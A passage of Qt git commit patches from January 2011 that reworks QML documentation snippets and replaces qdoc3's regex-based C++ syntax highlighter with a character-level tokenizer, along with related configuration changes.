b/examples/declarative/toys/dynamicscene/dynamicscene.qml @@ -215,9 +215,10 @@ Item { PropertyChanges { target: stars; opacity: 0 } } + //! [top-level transitions] transitions: Transition { PropertyAnimation { duration: 3000 } ColorAnimation { duration: 3000 } } - + //! [top-level transitions] } diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 16fb376..a851864 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -215,11 +215,13 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() image \c picture.png: \qml - border.left: 10 - border.top: 10 - border.bottom: 10 - border.right: 10 - source: picture.png + BorderImage { + border.left: 10 + border.top: 10 + border.bottom: 10 + border.right: 10 + source: "picture.png" + } \endqml The URL may be absolute, or relative to the URL of the component. @@ -337,7 +339,10 @@ void QDeclarativeBorderImage::load() the bottom of the image: \qml - border.bottom: 10 + BorderImage { + border.bottom: 10 + // ... + } \endqml The border lines can also be specified using a diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 64656af..ee73880 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -444,7 +444,7 @@ QDeclarativePathView::~QDeclarativePathView() Component { Rectangle { visible: PathView.onPath - ... + // ... } } \endqml diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 675f8d9..d326ff7 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -350,11 +350,13 @@ void QDeclarativeTextEdit::setFont(const QFont &font) The text color. \qml -// green text using hexadecimal notation -TextEdit { color: "#00FF00"; ... } + // green text using hexadecimal notation + TextEdit { color: "#00FF00" } + \endqml -// steelblue text using SVG color name -TextEdit { color: "steelblue"; ... } + \qml + // steelblue text using SVG color name + TextEdit { color: "steelblue" } \endqml */ QColor QDeclarativeTextEdit::color() const diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index 89aa79a..f1296aa 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -334,10 +334,10 @@ QList QDeclarativeDomProperty::propertyNameParts() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether @@ -509,10 +509,10 @@ QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index e0c6e1a..e602781 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1872,14 +1872,24 @@ QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptE } /*! -\qmlmethod color Qt::tint(color baseColor, color tintColor) + \qmlmethod color Qt::tint(color baseColor, color tintColor) This function allows tinting one color with another. - The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque. + The tint color should usually be mostly transparent, or you will not be + able to see the underlying color. The below example provides a slight red + tint by having the tint color be pure red which is only 1/16th opaque. \qml - Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" } - Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") } + Item { + Rectangle { + x: 0; width: 80; height: 80 + color: "lightsteelblue" + } + Rectangle { + x: 100; width: 80; height: 80 + color: Qt.tint("lightsteelblue", "#10FF0000") + } + } \endqml \image declarative-rect_tint.png diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index ac13c68..6283f92 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -544,12 +544,7 @@ void QDeclarativeWorkerScriptEngine::run() The above worker script specifies a JavaScript file, "script.js", that handles the operations to be performed in the new thread. Here is \c script.js: - \qml - WorkerScript.onMessage = function(message) { - // ... long-running operations and calculations are done here - WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) - } - \endqml + \quotefile doc/src/snippets/declarative/script.js When the user clicks anywhere within the rectangle, \c sendMessage() is called, triggering the \tt WorkerScript.onMessage() handler in diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index f22b9dd..e5905c4 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { NumberAnimation { from: "#c0c0c0"; duration: 2000 } @@ -725,7 +727,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) /*! \qmlclass ScriptAction QDeclarativeScriptAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. @@ -734,31 +736,20 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \qml SequentialAnimation { - NumberAnimation { ... } + NumberAnimation { + // ... + } ScriptAction { script: doSomething(); } - NumberAnimation { ... } + NumberAnimation { + // ... + } } \endqml When used as part of a Transition, you can also target a specific StateChangeScript to run using the \c scriptName property. - \qml - State { - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - } - ... - Transition { - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition \sa StateChangeScript */ @@ -870,7 +861,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() /*! \qmlclass PropertyAction QDeclarativePropertyAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The PropertyAction element allows immediate property changes during animation. @@ -896,7 +887,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() However, with this code, the \c transformOrigin is not set until \e after the animation, as a \l State is taken to define the values at the \e end of a transition. The animation would rotate at the default \c transformOrigin, - then jump to \c Item.BottomRight. To fix this, insert a PropertyChanges + then jump to \c Item.BottomRight. To fix this, insert a PropertyAction before the RotationAnimation begins: \qml @@ -910,7 +901,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() This immediately sets the \c transformOrigin property to the value defined in the end state of the \l Transition (i.e. the value defined in the - PropertyChanges object) so that the rotation animation begins with the + PropertyAction object) so that the rotation animation begins with the correct transform origin. \sa {QML Animation}, QtDeclarative @@ -1421,7 +1412,9 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { RotationAnimation { properties: "angle"; from: 100; duration: 2000 } @@ -2253,7 +2246,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) width: 100; height: 100 color: Qt.rgba(0,0,1) //need to explicitly specify target and property - NumberAnimation { id: theAnim; target: theRect; property: "x" to: 500 } + NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 } MouseArea { anchors.fill: parent onClicked: theAnim.start() @@ -2555,7 +2548,7 @@ void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) ParentAnimation { target: myItem via: topLevelItem - ... + // ... } \endqml */ diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index bb1a0b8..c41d39a 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -216,15 +216,18 @@ bool QDeclarativeState::isWhenKnown() const \snippet doc/src/snippets/declarative/state-when.qml 0 - If multiple states in a group have \c when clauses that evaluate to \c true at the same time, - the first matching state will be applied. For example, in the following snippet - \c state1 will always be selected rather than \c state2 when sharedCondition becomes - \c true. + If multiple states in a group have \c when clauses that evaluate to \c true + at the same time, the first matching state will be applied. For example, in + the following snippet \c state1 will always be selected rather than + \c state2 when sharedCondition becomes \c true. \qml - states: [ - State { name: "state1"; when: sharedCondition }, - State { name: "state2"; when: sharedCondition } - ] + Item { + states: [ + State { name: "state1"; when: sharedCondition }, + State { name: "state2"; when: sharedCondition } + ] + // ... + } \endqml */ QDeclarativeBinding *QDeclarativeState::when() const diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index e533a07..063ec3e 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -82,15 +82,7 @@ QT_BEGIN_NAMESPACE To define multiple transitions, specify \l Item::transitions as a list: - \qml - Item { - ... - transitions: [ - Transition { to: "state1" ... }, - Transition { ... } - ] - } - \endqml + \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular state change. In the example above, when changing to \c state1, the first transition will be used, rather @@ -222,13 +214,7 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act If the transition was changed to this: - \qml - transitions: Transition { - to: "brighter" - ColorAnimation { duration: 1000 } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition The animation would only be applied when changing from the default state to the "brighter" state (i.e. when the mouse is pressed, but not on release). @@ -313,24 +299,12 @@ void QDeclarativeTransition::setToState(const QString &t) This property holds a list of the animations to be run for this transition. - \qml - Transition { - PropertyAnimation { ... } - NumberAnimation { ... } - } - \endqml + \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions The top-level animations are run in parallel. To run them sequentially, define them within a SequentialAnimation: - \qml - Transition { - SequentialAnimation { - PropertyAnimation { ... } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations */ QDeclarativeListProperty QDeclarativeTransition::animations() { diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp index ba3adc5..1b6e723 100644 --- a/src/imports/gestures/qdeclarativegesturearea.cpp +++ b/src/imports/gestures/qdeclarativegesturearea.cpp @@ -86,22 +86,22 @@ public: A GestureArea is like a MouseArea, but it has signals for gesture events. - \e {Elements in the Qt.labs module are not guaranteed to remain compatible - in future versions.} + \warning Elements in the Qt.labs module are not guaranteed to remain compatible + in future versions. - \e {This element is only functional on devices with touch input.} + \note This element is only functional on devices with touch input. \qml import Qt.labs.gestures 1.0 GestureArea { anchors.fill: parent - onPan: ... gesture.acceleration ... - onPinch: ... gesture.rotationAngle ... - onSwipe: ... - onTapAndHold: ... - onTap: ... - onGesture: ... + // onPan: ... gesture.acceleration ... + // onPinch: ... gesture.rotationAngle ... + // onSwipe: ... + // onTapAndHold: ... + // onTap: ... + // onGesture: ... } \endqml -- cgit v0.12 From f25ede3df41ddcd947b313b6c5fc597172f73c04 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 15:30:26 +0100 Subject: Removed unnecessary markup escaping code. There should be no need to escape markup at this point in the marker. --- tools/qdoc3/qmlcodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp index fc91cbb..e0ba0e1 100644 --- a/tools/qdoc3/qmlcodemarker.cpp +++ b/tools/qdoc3/qmlcodemarker.cpp @@ -175,7 +175,7 @@ QString QmlCodeMarker::markedUpIncludes(const QStringList& includes) ++inc; } Location location; - return protect(addMarkUp(code, 0, location)); + return addMarkUp(code, 0, location); } QString QmlCodeMarker::functionBeginRegExp(const QString& funcName) -- cgit v0.12 From 05a678de3f2e4fe67dc1f93a2dee18e197c0e1c0 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 16:40:42 +0100 Subject: Doc: Fixed inconsistent and incorrect terminology. Reviewed-by: Robin Burchell --- src/corelib/tools/qlocale.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/tools/qlocale.cpp b/src/corelib/tools/qlocale.cpp index fcfa8f0..6515edb 100644 --- a/src/corelib/tools/qlocale.cpp +++ b/src/corelib/tools/qlocale.cpp @@ -2199,7 +2199,7 @@ static quint16 localePrivateIndex(const QLocalePrivate *p) /*! Constructs a QLocale object with the specified \a name, which has the format - "language[_country][.codeset][@modifier]" or "C", where: + "language[_territory][.codeset][@modifier]" or "C", where: \list \i language is a lowercase, two-letter, ISO 639 language code, -- cgit v0.12 From f9d18bcf4d966c74c364dd569d5fddd262a2862c Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:29:44 +0100 Subject: Replaced the C++ code marker with the one from Qt Quarterly. More changes still need to be made to restore features from the old marker, including markup for links to classes and functions. --- tools/qdoc3/cppcodemarker.cpp | 483 ++++++++++++++++++++---------------------- 1 file changed, 235 insertions(+), 248 deletions(-) diff --git a/tools/qdoc3/cppcodemarker.cpp b/tools/qdoc3/cppcodemarker.cpp index 8ea1c7f..2b7db62 100644 --- a/tools/qdoc3/cppcodemarker.cpp +++ b/tools/qdoc3/cppcodemarker.cpp @@ -51,29 +51,6 @@ QT_BEGIN_NAMESPACE -static int insertTagAround(QString &result, int pos, int len, const QString &tagName, - const QString &attributes = QString()) -{ - QString s; - //s.reserve(result.size() + tagName.size() * 2 + attributes.size() + 20); - s += result.midRef(0, pos); - s += QLatin1Char('<'); - s += tagName; - if (!attributes.isEmpty()) { - s += QLatin1Char(' '); - s += attributes; - } - s += QLatin1Char('>'); - s += result.midRef(pos, len); - s += QLatin1String("'); - s += result.midRef(pos + len); - int diff = s.length() - result.length(); - result = s; - return diff; -} - /*! The constructor does nothing. */ @@ -159,7 +136,7 @@ QString CppCodeMarker::markedUpCode(const QString &code, const Node *relative, const Location &location) { - return addMarkUp(protect(code), relative, location); + return addMarkUp(code, relative, location); } QString CppCodeMarker::markedUpSynopsis(const Node *node, @@ -437,11 +414,11 @@ QString CppCodeMarker::markedUpIncludes(const QStringList& includes) QStringList::ConstIterator inc = includes.begin(); while (inc != includes.end()) { - code += "#include <<@headerfile>" + *inc + ">\n"; + code += "<@preprocessor>#include <<@headerfile>" + *inc + ">\n"; ++inc; } Location location; - return addMarkUp(code, 0, location); + return code; } QString CppCodeMarker::functionBeginRegExp(const QString& funcName) @@ -867,240 +844,250 @@ const Node *CppCodeMarker::resolveTarget(const QString& target, return 0; } -QString CppCodeMarker::addMarkUp(const QString& protectedCode, +static const char * const typeTable[] = { + "bool", "char", "double", "float", "int", "long", "short", + "signed", "unsigned", "uint", "ulong", "ushort", "uchar", "void", + "qlonglong", "qulonglong", + "qint", "qint8", "qint16", "qint32", "qint64", + "quint", "quint8", "quint16", "quint32", "quint64", + "qreal", "cond", 0 +}; + +static const char * const keywordTable[] = { + "and", "and_eq", "asm", "auto", "bitand", "bitor", "break", + "case", "catch", "class", "compl", "const", "const_cast", + "continue", "default", "delete", "do", "dynamic_cast", "else", + "enum", "explicit", "export", "extern", "false", "for", "friend", + "goto", "if", "include", "inline", "monitor", "mutable", "namespace", + "new", "not", "not_eq", "operator", "or", "or_eq", "private", "protected", + "public", "register", "reinterpret_cast", "return", "sizeof", + "static", "static_cast", "struct", "switch", "template", "this", + "throw", "true", "try", "typedef", "typeid", "typename", "union", + "using", "virtual", "volatile", "wchar_t", "while", "xor", + "xor_eq", "synchronized", + // Qt specific + "signals", "slots", "emit", 0 +}; + +static QString untabified(const QString &in) +{ + QString res; + int col = 0; + int i = 0; + + for (; i < (int) in.length(); i++) { + if (in[i] == QChar('\t')) { + res += QString(" " + (col & 0x7)); + col = (col + 8) & ~0x7; + } else { + res += in[i]; + if (in[i] == QChar('\n')) + col = 0; + } + } + + return res; +} + +/* + @char + @class + @comment + @function + @keyword + @number + @op + @preprocessor + @string + @type +*/ + +QString CppCodeMarker::addMarkUp(const QString &in, const Node * /* relative */, const Location & /* location */) { - static QRegExp globalInclude("#include +<([^<>&]+)>"); - static QRegExp yHasTypeX("(?:^|\n *)([a-zA-Z_][a-zA-Z_0-9]*)" - "(?:<[^;{}]+>)?(?: *(?:\\*|&) *| +)" - "([a-zA-Z_][a-zA-Z_0-9]*)? *[,;()=]"); - static QRegExp xNewY("([a-zA-Z_][a-zA-Z_0-9]*) *= *new +([a-zA-Z_0-9]+)"); - static QRegExp xDotY("\\b([a-zA-Z_][a-zA-Z_0-9]*) *(?:\\.|->|,[ \n]*S(?:IGNAL|LOT)\\() *" - "([a-zA-Z_][a-zA-Z_0-9]*)(?= *\\()"); - static QRegExp xIsStaticZOfY("[\n:;{(=] *(([a-zA-Z_0-9]+)::([a-zA-Z_0-9]+))(?= *\\()"); - static QRegExp classX("[:,][ \n]*(?:p(?:ublic|r(?:otected|ivate))[ \n]+)?" - "([a-zA-Z_][a-zA-Z_0-9]*)"); - static QRegExp globalX("[\n{()=] *([a-zA-Z_][a-zA-Z_0-9]*)[ \n]*\\("); - static QRegExp multiLineComment("/(?:( )?\\*(?:[^*]+|\\*(?! /))*\\*\\1/)"); - multiLineComment.setMinimal(true); - static QRegExp singleLineComment("[^:]//(?!!)[^!\\n]*"); - static QRegExp preprocessor("(?:^|\n)(#[ \t]*(?:include|if|elif|endif|error|pragma|define" - "|warning)(?:(?:\\\\\n|\\n#)[^\n]*)*)"); - static QRegExp literals(""(?:[^\\\\&]|\\\\[^\n]|&(?!quot;))*"" - "|'(?:[^\\\\]|\\\\(?:[^x0-9']|x[0-9a-f]{1,4}|[0-9]{1,3}))'"); - - QString result = protectedCode; - int pos; - - if (!hurryUp()) { - /* - Mark global includes. For example: - - #include <<@headerfile>QString - */ - pos = 0; - while ((pos = result.indexOf(globalInclude, pos)) != -1) - pos += globalInclude.matchedLength() - + insertTagAround(result, - globalInclude.pos(1), - globalInclude.cap(1).length(), - "@headerfile"); - - /* - Look for variable definitions and similar constructs, mark - the data type, and remember the type of the variable. - */ - QMap > typesForVariable; - pos = 0; - while ((pos = yHasTypeX.indexIn(result, pos)) != -1) { - QString x = yHasTypeX.cap(1); - QString y = yHasTypeX.cap(2); - - if (!y.isEmpty()) - typesForVariable[y].insert(x); - - /* - Without the minus one at the end, 'void member(Class - var)' would give 'member' as a variable of type 'void', - but would ignore 'Class var'. (### Is that true?) - */ - pos += yHasTypeX.matchedLength() - + insertTagAround(result, - yHasTypeX.pos(1), - x.length(), - "@type") - 1; - } +#define readChar() \ + ch = (i < (int)code.length()) ? code[i++].cell() : EOF - /* - Do syntax highlighting of preprocessor directives. - */ - pos = 0; - while ((pos = preprocessor.indexIn(result, pos)) != -1) - pos += preprocessor.matchedLength() - + insertTagAround(result, - preprocessor.pos(1), - preprocessor.cap(1).length(), - "@preprocessor"); - - /* - Deal with string and character literals. - */ - pos = 0; - while ((pos = literals.indexIn(result, pos)) != -1) - pos += literals.matchedLength() - + insertTagAround(result, - pos, - literals.matchedLength(), - result.at(pos) == - QLatin1Char(' ') ? "@string" : "@char"); - - /* - Look for 'var = new Class'. - */ - pos = 0; - while ((pos = xNewY.indexIn(result, pos)) != -1) { - QString x = xNewY.cap(1); - QString y = xNewY.cap(2); - typesForVariable[x].insert(y); - - pos += xNewY.matchedLength() + insertTagAround(result, - xNewY.pos(2), - y.length(), - "@type"); - } + QString code = in; - /* - Insert some stuff that cannot harm. - */ - typesForVariable["qApp"].insert("QApplication"); - - /* - Add link to ': Class'. - */ - pos = 0; - while ((pos = classX.indexIn(result, pos)) != -1) - pos += classX.matchedLength() - + insertTagAround(result, - classX.pos(1), - classX.cap(1).length(), - "@type") - 1; - - /* - Find use of any of - - var.method() - var->method() - var, SIGNAL(method()) - var, SLOT(method()). - */ - pos = 0; - while ((pos = xDotY.indexIn(result, pos)) != -1) { - QString x = xDotY.cap(1); - QString y = xDotY.cap(2); - - QSet types = typesForVariable.value(x); - pos += xDotY.matchedLength() - + insertTagAround(result, - xDotY.pos(2), - xDotY.cap(2).length(), - "@func", - (types.count() == 1) ? "target=\"" - + protect(*types.begin() + "::" + y) - + "()\"" : QString()); - } + QMap types; + QMap keywords; + int j = 0; + while (typeTable[j] != 0) { + types.insert(QString(typeTable[j]), 0); + j++; + } + j = 0; + while (keywordTable[j] != 0) { + keywords.insert(QString(keywordTable[j]), 0); + j++; + } - /* - Add link to 'Class::method()'. - */ - pos = 0; - while ((pos = xIsStaticZOfY.indexIn(result, pos)) != -1) { - QString x = xIsStaticZOfY.cap(1); - QString z = xIsStaticZOfY.cap(3); - - pos += insertTagAround(result, - xIsStaticZOfY.pos(3), - z.length(), - "@func", - "target=\"" + protect(x) + "()\""); - pos += insertTagAround(result, - xIsStaticZOfY.pos(2), - xIsStaticZOfY.cap(2).length(), - "@type"); - pos += xIsStaticZOfY.matchedLength() - 1; - } + QString out(""); + int braceDepth = 0; + int parenDepth = 0; + int i = 0; + char ch; + QRegExp classRegExp("Qt?(?:[A-Z3]+[a-z][A-Za-z]*|t)"); + QRegExp functionRegExp("q([A-Z][a-z]+)+"); + + readChar(); + + while (ch != EOF) { + int second = i; + QString tag; + + if (isalpha(ch) || ch == '_') { + QString ident; + do { + ident += ch; + readChar(); + } while (isalnum(ch) || ch == '_'); + + if (classRegExp.exactMatch(ident)) { + tag = QLatin1String("class"); + } else if (functionRegExp.exactMatch(ident)) { + tag = QLatin1String("function"); + } else if (types.contains(ident)) { + tag = QLatin1String("type"); + } else if (keywords.contains(ident)) { + tag = QLatin1String("keyword"); + } else if (braceDepth == 0 && parenDepth == 0) { + if (QString(code.unicode() + i - 1, code.length() - (i - 1)) + .indexOf(QRegExp(QLatin1String("^\\s*\\("))) == 0) + tag = QLatin1String("function"); + } + } else if (isdigit(ch)) { + do { + readChar(); + } while (isalnum(ch) || ch == '.'); + tag = QLatin1String("number"); + } else { + switch (ch) { + case '+': + case '-': + case '!': + case '%': + case '^': + case '&': + case '*': + case ',': + case '.': + case '<': + case '=': + case '>': + case '?': + case '[': + case ']': + case '|': + case '~': + readChar(); + tag = QLatin1String("op"); + break; + case '"': + readChar(); + + while (ch != EOF && ch != '"') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("string"); + break; + case '#': + readChar(); + while (ch != EOF && ch != '\n') { + if (ch == '\\') + readChar(); + readChar(); + } + tag = QLatin1String("preprocessor"); + break; + case '\'': + readChar(); + + while (ch != EOF && ch != '\'') { + if (ch == '\\') + readChar(); + readChar(); + } + readChar(); + tag = QLatin1String("char"); + break; + case '(': + readChar(); + parenDepth++; + break; + case ')': + readChar(); + parenDepth--; + break; + case ':': + readChar(); + if (ch == ':') { + readChar(); + tag = QLatin1String("op"); + } + break; + case '/': + readChar(); + if (ch == '/') { + do { + readChar(); + } while (ch != EOF && ch != '\n'); + tag = QLatin1String("comment"); + } else if (ch == '*') { + bool metAster = false; + bool metAsterSlash = false; + + readChar(); + + while (!metAsterSlash) { + if (ch == EOF) + break; + + if (ch == '*') + metAster = true; + else if (metAster && ch == '/') + metAsterSlash = true; + else + metAster = false; + readChar(); + } + tag = QLatin1String("comment"); + } else { + tag = QLatin1String("op"); + } + break; + case '{': + readChar(); + braceDepth++; + break; + case '}': + readChar(); + braceDepth--; + break; + default: + readChar(); + } + } - /* - Add link to 'globalFunction()'. - */ - pos = 0; - while ((pos = globalX.indexIn(result, pos)) != -1) { - QString x = globalX.cap(1); - if (x != "QT_FORWARD_DECLARE_CLASS") { - pos += globalX.matchedLength() - + insertTagAround(result, - globalX.pos(1), - x.length(), - "@func", - "target=\"" + protect(x) + "()\"") - 1; - } - else - pos += globalX.matchedLength(); - } - } + if (!tag.isEmpty()) + out += QLatin1String("<@") + tag + QLatin1String(">"); - /* - Do syntax highlighting of comments. Also alter the code in a - minor way, so that we can include comments in documentation - comments. - */ - pos = 0; - while (pos != -1) { - int mlpos; - int slpos; - int len; - slpos = singleLineComment.indexIn(result, pos); - mlpos = multiLineComment.indexIn(result, pos); - - if (slpos == -1 && mlpos == -1) - break; - - if (slpos == -1) { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - else if (mlpos == -1) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - if (slpos < mlpos) { - pos = slpos + 1; - len = singleLineComment.matchedLength() - 1; - } - else { - pos = mlpos; - len = multiLineComment.matchedLength(); - } - } + if (tag.isEmpty() && i == code.length()) + out += protect(code.mid(second - 1, i - second + 1)); + else + out += protect(code.mid(second - 1, i - second)); - if (result.at(pos + 1) == QLatin1Char(' ')) { - result.remove(pos + len - 2, 1); - result.remove(pos + 1, 1); - len -= 2; + if (!tag.isEmpty()) + out += QLatin1String(""); - forever { - int endcodePos = result.indexOf("\\ endcode", pos); - if (endcodePos == -1 || endcodePos >= pos + len) - break; - result.remove(endcodePos + 1, 1); - len -= 1; - } - } - pos += len + insertTagAround(result, pos, len, "@comment"); } - return result; + return out; } #ifdef QDOC_QML -- cgit v0.12 From fc66f45827b723eb207f9bad113523f0c26c0d44 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Tue, 18 Jan 2011 20:30:57 +0100 Subject: Define what the -slow command line option does. Added configuration options for syntax highlighting and linking. These are also enabled if the -slow command line option is used. --- tools/qdoc3/codemarker.cpp | 12 ++++++------ tools/qdoc3/codemarker.h | 4 +--- tools/qdoc3/config.h | 2 ++ tools/qdoc3/ditaxmlgenerator.cpp | 3 --- tools/qdoc3/ditaxmlgenerator.h | 1 - tools/qdoc3/htmlgenerator.cpp | 8 ++++---- tools/qdoc3/htmlgenerator.h | 2 +- tools/qdoc3/main.cpp | 3 ++- 8 files changed, 16 insertions(+), 19 deletions(-) diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp index f1b6346..89933d3 100644 --- a/tools/qdoc3/codemarker.cpp +++ b/tools/qdoc3/codemarker.cpp @@ -59,7 +59,7 @@ QList CodeMarker::markers; been read. */ CodeMarker::CodeMarker() - : slow(false) + : linksInMarkup(false) { markers.prepend(this); } @@ -74,14 +74,14 @@ CodeMarker::~CodeMarker() } /*! - The only thing a code market initializes is its \e{slow} - flag. The \e{slow} flag indicates whether the operations - that slow down qdoc are to be performed or not. It is - turned off by default. + The only thing a code market initializes is its \e{linksInMarkup} + flag. The \e{linksInMarkup} flag indicates whether links are created for + names that have corresponding entries in the API documentation. + It is turned off by default. */ void CodeMarker::initializeMarker(const Config &config) { - slow = config.getBool(QLatin1String(CONFIG_SLOW)); + linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP)); } /*! diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h index 3cf3984..e643082 100644 --- a/tools/qdoc3/codemarker.h +++ b/tools/qdoc3/codemarker.h @@ -164,8 +164,6 @@ class CodeMarker static QString stringForNode(const Node *node); protected: - bool hurryUp() const { return !slow; } - virtual QString sortName(const Node *node); QString protect(const QString &string); QString typified(const QString &string); @@ -184,7 +182,7 @@ class CodeMarker private: QString macName(const Node *parent, const QString &name = QString()); - bool slow; + bool linksInMarkup; static QString defaultLang; static QList markers; diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h index bc36f3d..2dd7d50 100644 --- a/tools/qdoc3/config.h +++ b/tools/qdoc3/config.h @@ -141,6 +141,7 @@ class Config #define CONFIG_IMAGES "images" #define CONFIG_INDEXES "indexes" #define CONFIG_LANGUAGE "language" +#define CONFIG_LINKSINMARKUP "linksinmarkup" #define CONFIG_MACRO "macro" #define CONFIG_NATURALLANGUAGE "naturallanguage" #define CONFIG_OBSOLETELINKS "obsoletelinks" @@ -163,6 +164,7 @@ class Config #define CONFIG_STYLE "style" #define CONFIG_STYLES "styles" #define CONFIG_STYLESHEETS "stylesheets" +#define CONFIG_SYNTAXHIGHLIGHTING "syntaxhighlighting" #define CONFIG_TEMPLATEDIR "templatedir" #define CONFIG_TABSIZE "tabsize" #define CONFIG_TAGFILE "tagfile" diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 7b40886..6f9d537 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -354,7 +354,6 @@ DitaXmlGenerator::DitaXmlGenerator() offlineDocs(true), funcLeftParen("\\S(\\()"), myTree(0), - slow(false), obsoleteLinks(false), noLinks(false), tableColumnCount(0) @@ -461,8 +460,6 @@ void DitaXmlGenerator::initializeGenerator(const Config &config) ++edition; } - slow = config.getBool(CONFIG_SLOW); - stylesheets = config.getStringList(DitaXmlGenerator::format() + Config::dot + DITAXMLGENERATOR_STYLESHEETS); diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 1a42e5f..640d7db 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -291,7 +291,6 @@ class DitaXmlGenerator : public PageGenerator QStringList stylesheets; QStringList customHeadElements; const Tree* myTree; - bool slow; bool obsoleteLinks; bool noLinks; int tableColumnCount; diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index ebc2713..a3156c3 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -219,7 +219,7 @@ HtmlGenerator::HtmlGenerator() 